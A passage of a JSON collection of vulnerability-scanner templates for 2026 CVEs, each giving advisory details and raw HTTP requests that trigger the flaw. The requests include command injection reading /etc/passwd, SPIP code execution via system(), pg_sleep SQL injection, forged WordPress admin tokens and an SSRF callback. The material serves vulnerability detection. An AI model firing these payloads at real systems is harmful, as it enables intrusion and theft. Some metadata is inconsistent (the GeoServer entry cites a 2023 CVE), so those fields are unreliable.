tag:\\s*([\\w.]+)'\n internal: true\n\n - method: GET\n path:\n - \"{{BaseURL}}/wp-json/wp/v2/users\"\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(body, \"\\\"slug\\\"\")'\n internal: true\n condition: and\n\n extractors:\n - type: regex\n name: admin_user\n part: body\n group: 1\n regex:\n - '\"slug\":\"([^\"]+)\"'\n internal: true\n\n - raw:\n - |\n GET /wp-json/wp/v2/users/me?context=edit HTTP/1.1\n Host: {{Hostname}}\n X-BURSTMAINWP: 1\n Authorization: Basic {{base64(admin_user + ':x')}}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains_all(body, \"\\\"id\\\"\", \"\\\"email\\\"\", \"\\\"roles\\\"\", \"\\\"administrator\\\"\")'\n - 'contains(content_type, \"application/json\")'\n condition: and\n\n extractors:\n - type: json\n part: body\n json:\n - '.email'\n# digest: 4b0a00483046022100e68826b3932a95f8bcbe443ca75fe4535b589c1787aa1fadbf9de35b9744b53a0221009cba4f2ea5ed79873733d4d090bb00f5c861f1db78c6d4df340d99b0b7621572:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-8181.yaml","vuln_id":"cve-2026-8181"},{"raw":"id: CVE-2026-81578\n\ninfo:\n name: PaperCut NG/MF <=26.0.4 - Unauthenticated ConfigEditor Access via Tapestry Complex-Direct\n author: darses,DhiyaneshDk\n severity: critical\n description: |\n PaperCut NG and PaperCut MF versions 24.x through 26.x contain an authentication bypass vulnerability in the Apache Tapestry-based web interface. By crafting a complex-direct service request that specifies the public Home page as the render target while invoking the privileged ConfigEditor page's form listeners, an unauthenticated remote attacker can search and modify server configuration options. PaperCut's access control validates the render page but fails to validate the component page, allowing full configuration access without authentication. When chained with CVE-2026-82078, an attacker reconfigures external user lookup to use a malicious JDBC URL whose initialization SQL evaluates arbitrary Groovy code, achieving unauthenticated remote code execution. This vulnerability is actively exploited in the wild.\n impact: |\n An unauthenticated remote attacker can bypass authentication to access the ConfigEditor administrative interface and modify arbitrary system configurations including database driver settings. When chained with CVE-2026-82078, full remote code execution is achievable with SYSTEM privileges on Windows or papercut user privileges on Linux.\n remediation: |\n Update to PaperCut NG/MF version 26.0.5, 25.0.13, or 24.1.10 or later. As an immediate mitigation, restrict network access to the PaperCut web management interface (default ports 9191 and 9192) to trusted administrative IPs only.\n reference:\n - https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/\n - https://www.rapid7.com/blog/post/etr-papercut-ng-mf-critical-zero-day-exploited-in-the-wild/\n - https://nvd.nist.gov/vuln/detail/CVE-2026-81578\n - https://nvd.nist.gov/vuln/detail/CVE-2026-82078\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2026-81578\n epss-score: 0.0329\n epss-percentile: 0.87936\n cwe-id: CWE-306\n metadata:\n verified: true\n max-request: 3\n vendor: papercut\n product: papercut_ng,papercut_mf\n shodan-query: http.title:\"PaperCut\"\n fofa-query: title=\"PaperCut\"\n tags: cve,cve2026,papercut,auth-bypass,rce,unauth,tapestry,kev,vkev\n\nvariables:\n rand: \"{{rand_text_alpha(8)}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n - raw:\n - |\n GET /app?service=page/Error HTTP/1.1\n Host: {{Hostname}}\n\n host-redirects: true\n max-redirects: 2\n\n matchers:\n - type: dsl\n dsl:\n - 'contains(body, \"\")'\n - 'status_code == 200'\n condition: and\n internal: true\n\n - raw:\n - |\n GET /app HTTP/1.1\n Host: {{Hostname}}\n\n host-redirects: true\n max-redirects: 2\n\n matchers:\n - type: dsl\n internal: true\n dsl:\n - 'contains(body, \"\")'\n - 'status_code == 200'\n condition: and\n\n - raw:\n - |\n POST /app?service=direct/{{rand}}/Home/ConfigEditor/quickFindForm HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n Origin: {{RootURL}}\n Referer: {{RootURL}}/app\n\n sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=server.name&doQuickFind=Go\n\n matchers:\n - type: dsl\n dsl:\n - 'contains(body, \"\")'\n - 'status_code == 200'\n condition: and\n# digest: 4a0a00473045022100aedf5b644aca651051e64271735a3e57d85d9c8c7c7e6f244059402603fd10c202206fdc12bbd0b79d215b37af2d0e1f050aab8dc88cc116cde4cedaaba8be529113:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-81578.yaml","vuln_id":"cve-2026-81578"},{"raw":"id: CVE-2026-81199\n\ninfo:\n name: MasterStudy LMS < 3.7.46 - Unauthenticated Student Statistics Disclosure\n author: 0x_Akoko\n severity: medium\n description: |\n MasterStudy LMS WordPress plugin before 3.7.46 contains an information disclosure vulnerability caused by missing authorization checks in student learning statistics, letting unauthenticated attackers access sensitive user course data, exploit requires no authentication.\n impact: |\n Unauthenticated attackers can access sensitive student learning statistics of any registered user, leading to information disclosure.\n remediation: |\n Update to version 3.7.46 or later.\n reference:\n - https://wpscan.com/vulnerability/8dd53f85-5d1b-4e0b-a0f5-8c65d89cefb5/\n - https://nvd.nist.gov/vuln/detail/CVE-2026-81199\n classification:\n cve-id: CVE-2026-81199\n epss-score: 0.00302\n epss-percentile: 0.23128\n cwe-id: CWE-200\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n cvss-score: 5.3\n metadata:\n verified: true\n max-request: 2\n vendor: stylemix\n product: masterstudy-lms\n shodan-query: http.html:\"/wp-content/plugins/masterstudy-lms-learning-management-system/\"\n fofa-query: body=\"masterstudy-lms-learning-management-system\"\n tags: cve,cve2026,wordpress,wp-plugin,masterstudy-lms,rest,disclosure,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n - raw:\n - |\n GET / HTTP/1.1\n Host: {{Hostname}}\n\n redirects: true\n max-redirects: 3\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(body, \"masterstudy-lms\")'\n - 'len(nonce) > 0'\n condition: and\n internal: true\n\n extractors:\n - type: regex\n name: nonce\n part: body\n internal: true\n group: 1\n regex:\n - 'rest_nonce\"?\\s*:\\s*\"?([a-f0-9]{10})'\n - '\"nonce\"\\s*:\\s*\"([a-f0-9]{10})\"'\n\n - raw:\n - |\n GET /?rest_route=/masterstudy-lms/v2/student/stats/1 HTTP/1.1\n Host: {{Hostname}}\n X-WP-Nonce: {{nonce}}\n Accept: application/json\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains_all(body, \"\\\"courses_statuses\\\":\", \"\\\"total_points\\\":\", \"\\\"total_assignments\\\":\")'\n - '!contains_any(body, \"forbidden\", \"rest_nonce_missed\")'\n condition: and\n# digest: 490a0046304402203f30f20fa658c398c4962f70fbb45825c8d24505cff78f42483c42af625b8fa00220082f3537c0d73eb1ca829df0f4c6e81b4f9400a2303c286a1098c1811f15f61d:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-81199.yaml","vuln_id":"cve-2026-81199"},{"raw":"id: CVE-2026-8054\n\ninfo:\n name: dotCMS Core Publish Audit API - Unauthenticated SQL Injection\n author: DhiyaneshDk\n severity: critical\n description: |\n dotCMS Core 25.11.04-1 through 26.04.28-02 contains an SQL injection caused by unsanitized input in Publish Audit API endpoints (/api/auditPublishing/get and /api/auditPublishing/getAll), letting remote unauthenticated attackers read, modify, or destroy arbitrary database content, exploit requires no authentication.\n impact: |\n Remote attackers can read, modify, or destroy arbitrary database content, potentially compromising the entire database.\n remediation: |\n Upgrade to dotCMS Core 26.04.28-03 or later.\n reference:\n - https://github.com/advisories/GHSA-jpx3-25r2-jq5g\n - https://github.com/dotCMS/core/pull/35553\n - https://dev.dotcms.com/docs/known-security-issues?issueNumber=SI-75\n metadata:\n max-request: 2\n vendor: dotcms\n product: dotcms\n shodan-query: http.title:\"dotcms\"\n fofa-query: title=\"dotcms\"\n google-query: intitle:\"dotcms\"\n tags: cve,cve2026,dotcms,sqli,unauth,time-based,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n - raw:\n - |\n POST /api/auditPublishing/getAll HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n\n [\"x' || (SELECT CASE WHEN 1=2 THEN pg_sleep(0)::text ELSE '' END) || '\"]\n\n matchers:\n - type: dsl\n dsl:\n - \"status_code == 200\"\n - \"contains(content_type, 'application/json')\"\n - \"contains(body, '[]')\"\n condition: and\n internal: true\n\n - raw:\n - |\n @timeout: 15s\n POST /api/auditPublishing/getAll HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n Accept: application/json\n\n [\"x' || (SELECT CASE WHEN 1=1 THEN pg_sleep(5)::text ELSE '' END) || '\"]\n\n matchers:\n - type: dsl\n dsl:\n - \"duration>=5\"\n - \"status_code == 200\"\n - \"contains(content_type, 'application/json')\"\n - \"contains(body, '[]')\"\n condition: and\n# digest: 4a0a0047304502206353978d3f1babdbe78c719242ffd86344e79159433b089fabad34084f1ac8bc022100a3ddda615cad914cbb269bca5694a0aa29e5be38745a7d7d8c50b81e2f9a5f59:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-8054.yaml","vuln_id":"cve-2026-8054"},{"raw":"id: CVE-2026-8037\n\ninfo:\n name: Progress ADC LoadMaster - Command Injection\n author: watchtowr,DhiyaneshDk\n severity: critical\n description: |\n OS Command Injection Remote Code Execution Vulnerability in API in Progress ADC Products allows an un-authenticated attacker to execute arbitrary commands on the LoadMaster appliance by exploiting unsanitized input in multiple command endpoints\n impact: |\n Unauthenticated attackers can execute arbitrary commands on the LoadMaster appliance, potentially leading to full system compromise.\n remediation: |\n Update to the latest version of Progress ADC LoadMaster.\n reference:\n - https://community.progress.com/s/article/LoadMaster-Critical-Security-Bulletin-June-2026-CVE-2026-8037-CVE-2026-33691\n - https://labs.watchtowr.com/enterprise-tech-in-shell-out-progress-kemp-loadmaster-uninitialized-heap-to-pre-auth-rce-cve-2026-8037/\n metadata:\n verified: false\n fofa-query: body=\"Progress\" && icon_hash==\"-2107233094\"\n max-request: 1\n tags: cve,cve2026,progress,loadmaster,rce,vkev,kev\n\nhttp:\n - raw:\n - |\n POST /accessv2 HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n Accept: */*\n\n {\"cmd\": \"getall\", \"apiuser\": \"''''\", \"apipass\": \"BBBBB\", \"g0\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g1\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g2\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g3\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g4\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g5\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g6\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g7\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g8\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g9\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g10\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g11\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g12\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g13\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g14\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g15\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g16\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g17\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g18\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g19\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g20\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g21\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g22\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g23\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g24\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g25\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g26\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g27\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g28\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g29\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g30\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g31\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g32\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g33\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g34\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g35\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g36\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g37\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g38\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g39\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g40\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g41\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g42\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g43\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g44\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g45\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g46\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g47\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g48\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g49\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g50\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g51\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g52\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g53\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g54\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g55\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g56\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g57\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g58\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g59\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g60\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\"}\n\n matchers-condition: and\n matchers:\n - type: word\n part: response\n words:\n - \"root:x:0:0:\"\n\n - type: word\n part: content_type\n words:\n - \"text/json\"\n\n - type: status\n status:\n - 200\n# digest: 4b0a00483046022100af4434f82e456243dc73c78eaea42a9334c2c9dc05fe0a035965e3f21a7b2639022100c51c9214d1c025f74fb571fc2b566f9ad3871b03d574a21116340e9bc947baf0:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-8037.yaml","vuln_id":"cve-2026-8037"},{"raw":"id: CVE-2026-80099\n\ninfo:\n name: Newfold WordPress Plugins - Unauthenticated Admin Bypass via Empty HMAC Secret\n author: ritikchaddha\n severity: high\n description: |\n Newfold Digital WordPress plugins bundling wp-module-data <=2.9.4 allow unauthenticated attackers to forge a valid Bearer token and gain WordPress administrator access. The authenticate() method (hooked on rest_authentication_errors) computes: token = sha256(sha256(wp_json_encode({method,url,body,timestamp})) + sha256(strrev(get_auth_token()))) On sites not connected to Hiive, get_auth_token() returns false; PHP coerces strrev(false) to strrev('') = '', so the HMAC salt collapses to the public constant sha256('') = e3b0c44... All other inputs are attacker-controlled, enabling offline token forgery without any secret knowledge.\n impact: |\n Unauthenticated attackers gain full WordPress administrator access via forged Bearer token, enabling arbitrary REST API operations — user creation, plugin upload, theme editor write, and persistent backdoor installation (complete site takeover / RCE).\n remediation: |\n Update to patched versions: Bluehost >=4.19.1, HostGator >=3.2.1, Web >=2.3.6, Crazy Domains >=2.5.3, or update wp-module-data to >=2.9.8.\n reference:\n - https://www.wordfence.com/threat-intel/vulnerabilities/id/3ee369c0-0d7c-4142-b3ba-a518288647ba\n - https://github.com/Wayang1337/CVE-2026-80099\n - https://plugins.trac.wordpress.org/browser/wp-module-data/trunk/includes/Data.php\n - https://nvd.nist.gov/vuln/detail/CVE-2026-80099\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 8.8\n cve-id: CVE-2026-80099\n cwe-id: CWE-287\n epss-score: 0.00508\n epss-percentile: 0.42408\n metadata:\n verified: true\n max-request: 2\n vendor: newfold\n product: wp-module-data,bluehost-wordpress-plugin,hostgator,wp-plugin-web,crazy-domains\n fofa-query: body=\"/wp-content/plugins/wp-plugin-crazy-domains\"\n shodan-query: html:\"/wp-content/plugins/wp-plugin-crazy-domains\"\n tags: cve,cve2026,wordpress,auth-bypass,newfold,bluehost,hostgator,wp-plugin,vkev\n\nflow: http(1) && http(2)\n\nvariables:\n ts: \"0\"\n esc_base: \"{{replace(BaseURL, '/', '\\\\\\\\/')}}\"\n esc_path: \"\\\\/wp-json\\\\/wp\\\\/v2\\\\/users\\\\/me?context=edit\"\n esc_url: \"{{esc_base + esc_path}}\"\n empty_salt: \"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"\n data_hash: \"{{sha256('{\\\"method\\\":\\\"GET\\\",\\\"url\\\":\\\"' + esc_url + '\\\",\\\"body\\\":\\\"\\\",\\\"timestamp\\\":\\\"' + ts + '\\\"}')}}\"\n forged_token: \"{{sha256(data_hash + empty_salt)}}\"\n\nhttp:\n - method: GET\n path:\n - \"{{BaseURL}}/wp-json/newfold-data/v1/verify/00000000000000000000000000000000\"\n headers:\n Accept: application/json\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code != 404 && contains(body, \"\\\"valid\\\"\")'\n internal: true\n\n - method: GET\n path:\n - \"{{BaseURL}}/wp-json/wp/v2/users/me?context=edit\"\n headers:\n Authorization: \"Bearer {{forged_token}}\"\n X-Timestamp: \"{{ts}}\"\n Accept: application/json\n\n matchers-condition: and\n matchers:\n - type: status\n status:\n - 200\n\n - type: word\n part: body\n words:\n - '\"administrator\"'\n\n - type: word\n part: body\n words:\n - '\"roles\"'\n# digest: 490a00463044022044a72eb5902e63afd84fb7e998a670f3b86eca84cc4eb4de3b5bbf5d0211cd7b02206ce7b3555dc4fcca5ee9f2cc454618b147e98e4a096d87b13f598d0562c3c202:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-80099.yaml","vuln_id":"cve-2026-80099"},{"raw":"id: CVE-2026-7798\n\ninfo:\n name: WordPress FluentCRM <= 2.9.87 - Unauthenticated Blind SSRF\n author: 0x_Akoko\n severity: medium\n description: |\n FluentCRM WordPress plugin <= 2.9.87 contains a blind server-side request forgery caused by improper validation of the 'SubscribeURL' parameter, letting unauthenticated attackers make arbitrary web requests, exploit requires unconfigured SES bounce handling key.\n impact: |\n Unauthenticated attackers can make arbitrary internal web requests, potentially querying or modifying internal service information.\n remediation: |\n Update to a version later than 2.9.87 or the latest available version.\n reference:\n - https://plugins.trac.wordpress.org/browser/fluent-crm/trunk/app/Hooks/Handlers/ExternalPages.php\n - https://nvd.nist.gov/vuln/detail/CVE-2026-7798\n - https://wordpress.org/plugins/fluent-crm/\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N\n cvss-score: 5.4\n cve-id: CVE-2026-7798\n epss-score: 0.00695\n epss-percentile: 0.5156\n cwe-id: CWE-918\n metadata:\n verified: false\n max-request: 2\n publicwww-query: \"wp-content/plugins/fluent-crm\"\n fofa-query: body=\"fluent-crm\"\n shodan-query: http.html:\"fluent-crm\"\n tags: cve,cve2026,wordpress,wp-plugin,fluentcrm,ssrf,wp\n\nflow: http(1) && http(2)\n\nhttp:\n - raw:\n - |\n GET /wp-content/plugins/fluent-crm/readme.txt HTTP/1.1\n Host: {{Hostname}}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(body, \"FluentCRM\")'\n - 'compare_versions(version, \"<= 2.9.87\")'\n condition: and\n internal: true\n\n extractors:\n - type: regex\n name: version\n part: body\n regex:\n - '(?i)Stable tag:\\s*([\\w.]+)'\n group: 1\n internal: true\n\n - raw:\n - |\n POST /?fluentcrm=1&route=bounce_handler&provider=ses HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n\n {\"Type\":\"SubscriptionConfirmation\",\"SubscribeURL\":\"http://{{interactsh-url}}\"}\n\n matchers:\n - type: dsl\n dsl:\n - 'contains(interactsh_protocol, \"http\")'\n - 'status_code == 200'\n - 'contains(body, \"success\")'\n condition: and\n# digest: 490a0046304402202185633640dde9068f3bc10de25d1222645661feaf7ca312e8cee8e69645ceb502207daf67416664f6aad5438ae0e122a52252de28ff818c789a480dfc6f57c022cd:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-7798.yaml","vuln_id":"cve-2026-7798"},{"raw":"id: CVE-2026-77806\n\ninfo:\n name: SPIP < 4.4.22 - Unauthenticated RCE\n author: 0x_Akoko\n severity: critical\n description: |\n SPIP < 4.4.21 contains a remote code execution caused by mishandling of the X-Spip-Filtre HTTP request header in analyse_resultat_skel, letting unauthenticated remote attackers execute arbitrary code.\n impact: |\n Unauthenticated remote attackers can execute arbitrary code, potentially leading to full system compromise.\n remediation: |\n Update to version 4.4.21 or later.\n reference:\n - https://securityonline.info/cve-2026-77806-spip-unauthenticated-rce/\n - https://blog.spip.net/\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2026-77806\n epss-score: 0.04201\n epss-percentile: 0.90507\n cwe-id: CWE-94\n metadata:\n max-request: 1\n verified: true\n shodan-query: http.component:\"SPIP\"\n fofa-query: body=\"spip.php\"\n tags: cve,cve2026,spip,rce,unauth,vkev\n\nvariables:\n marker: \"{{rand_text_alphanumeric(8)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n - raw:\n - |\n GET /spip.php HTTP/1.1\n Host: {{Hostname}}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains_any(tolower(body), \"spip.php\", \"spip_document\", \"spip_logo\")'\n condition: and\n internal: true\n\n - raw:\n - |\n POST /spip.php?page=sommaire&{{rand_text_alpha(8)}}=%3C%3Fphp%20header(%22X-Spip-Filtre:%20intval|_request|system%22);%20%3F%3E HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n\n 0=echo {{marker}}\n\n redirects: true\n max-redirects: 3\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(body, \"{{marker}}\")'\n condition: and\n# digest: 4a0a00473045022051dd9f4d07e64f55c879364cdc70a4e2bc0e830eb0249e6e2be387a02bb88fd90221009c600dc5423b36ece07cd22f7275948afe733067317c86995b1f67d1586812a4:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-77806.yaml","vuln_id":"cve-2026-77806"},{"raw":"id: CVE-2026-76904\n\ninfo:\n name: GeoServer jsonArrayContains CQL Filter - SQL Injection\n author: portbuster1337,DhiyaneshDk\n severity: critical\n description: |\n GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. GeoTools FilterToSqlHelper.constructEquality writes the expected argument of the jsonArrayContains CQL function RAW into the SQL string while only escaping the JSON pointer. A single quote in the value parameter breaks out of the PostgreSQL jsonb_path_exists string literal, enabling unauthenticated SQL injection. When the PostGIS backend runs with superuser privileges, the injection escalates to operating system command execution through PostgreSQL COPY TO PROGRAM. Users are advised to upgrade to either version 2.21.4, or version 2.22.2 to resolve this issue. Users unable to upgrade should enable the PostGIS DataStore preparedStatements setting and disable encode functions as a workaround.\n impact: |\n Successful exploitation allows unauthenticated attackers to execute arbitrary SQL queries against the PostGIS database, potentially leading to full database exfiltration, data manipulation, or remote code execution on the database server via COPY TO PROGRAM.\n remediation: |\n Upgrade GeoServer to version 2.21.4 or 2.22.2 or later. As an interim workaround, enable the PostGIS DataStore preparedStatements setting to prevent stacked-query abuse and disable encode functions to limit CQL filter function misuse.\n reference:\n - https://gist.github.com/portbuster1337/70d75ec246b85e3199037ce212ff1a06\n - https://github.com/geoserver/geoserver/security/advisories/GHSA-7g5f-wrx8-5ccf\n - https://nvd.nist.gov/vuln/detail/CVE-2023-25157\n - https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2023-25157\n cwe-id: CWE-89\n epss-score: 0.01791\n epss-percentile: 0.77407\n cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*\n metadata:\n verified: \"true\"\n max-request: 6\n vendor: osgeo\n product: geoserver\n shodan-query:\n - title:\"geoserver\"\n - http.title:\"geoserver\"\n fofa-query:\n - title=\"geoserver\"\n - app=\"geoserver\"\n google-query: intitle:\"geoserver\"\n tags: cve,cve2023,geoserver,sqli,jsonarraycontains,postgresql,osgeo,vkev\n\nflow: |\n set(\"ctx\", \"/geoserver\");\n http(\"detect\");\n if (!template[\"geoserver_detected\"]) {\n set(\"ctx\", \"\");\n http(\"detect\");\n }\n if (template[\"geoserver_detected\"]) {\n http(\"capabilities\");\n for (var name of iterate(template[\"feature_names\"])) {\n set(\"name\", name);\n set(\"column\", \"\");\n http(\"get-column\");\n if (template[\"column\"]) {\n if (http(\"sqli-verify\")) {\n break;\n }\n if (http(\"sqli-time\")) {\n break;\n }\n }\n }\n }\n\nhttp:\n - id: detect\n raw:\n - |\n GET {{ctx}}/web/ HTTP/1.1\n Host: {{Hostname}}\n\n redirects: true\n max-redirects: 3\n\n matchers:\n - type: word\n words:\n - \"GeoServer\"\n internal: true\n\n extractors:\n - type: regex\n name: geoserver_detected\n regex:\n - '(GeoServer)'\n group: 1\n internal: true\n part: body\n\n - id: capabilities\n raw:\n - |\n GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1\n Host: {{Hostname}}\n\n\n matchers:\n - type: word\n words:\n - \"FeatureType\"\n internal: true\n\n extractors:\n - type: regex\n name: feature_names\n regex:\n - '(?s)]*>\\s*([^<]+)'\n group: 1\n internal: true\n part: body\n\n - id: get-column\n raw:\n - |\n GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&maxFeatures=1&outputFormat=csv HTTP/1.1\n Host: {{Hostname}}\n\n matchers:\n - type: word\n words:\n - \"FID\"\n internal: true\n\n extractors:\n - type: regex\n name: column\n regex:\n - 'FID,([a-zA-Z_][a-zA-Z0-9_]*)'\n group: 1\n internal: true\n part: body\n\n - id: sqli-verify\n raw:\n - |\n GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&CQL_FILTER=jsonArrayContains(%22{{column}}%22,%27/a%27,%27x%27%27%27)%20=%20true HTTP/1.1\n Host: {{Hostname}}\n\n stop-at-first-match: true\n\n matchers-condition: and\n matchers:\n - type: word\n part: body\n words:\n - \"PSQLException\"\n - \"SQL SELECT\"\n - \"jsonb_path_exists\"\n - \"syntax error\"\n - \"unterminated quoted string\"\n condition: or\n\n - type: word\n part: header\n words:\n - \"text/xml\"\n\n extractors:\n - type: dsl\n name: matched_feature\n dsl:\n - \"name\"\n - type: kval\n kval:\n - content_type\n\n - id: sqli-time\n raw:\n - |\n @timeout: 30s\n GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&CQL_FILTER=jsonArrayContains(%22{{column}}%22,%27/a%27,%27x%22)%27%27)%20AND%20(SELECT%20pg_sleep(6))%20IS%20NOT%20NULL%20)--%27)%20=%20true HTTP/1.1\n Host: {{Hostname}}\n\n stop-at-first-match: true\n\n matchers:\n - type: dsl\n dsl:\n - \"duration>=6\"\n\n extractors:\n - type: dsl\n name: matched_feature\n dsl:\n - \"name\"\n# digest: 4b0a00483046022100b61884e439d60a0bf80bee63d007da8c61de696db58f2dac99b4023ca2c20ff1022100b45616ad557fdc79bf550d344fb5a600fbcb0aaa5d739299da5181f230b3fbd6:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-76904.yaml","vuln_id":"cve-2026-76904"},{"raw":"id: CVE-2026-7467\n\ninfo:\n name: Read More & Accordion <= 3.5.7 - Authenticated Privilege Escalation\n author: zer0p0int\n severity: high\n description: |\n The Read More & Accordion (expand-maker) plugin for WordPress through 3.5.7 allows privilege escalation due to improper validation in the importData AJAX handler (yrm_import_data action). An authenticated user with plugin access can upload a crafted JSON attachment to insert arbitrary rows into WordPress database tables, including those that control user roles and capabilities, potentially leading to site takeover.\n impact: |\n Authenticated attackers can insert arbitrary rows into any WordPress database table, allowing creation of a new administrator account and full takeover 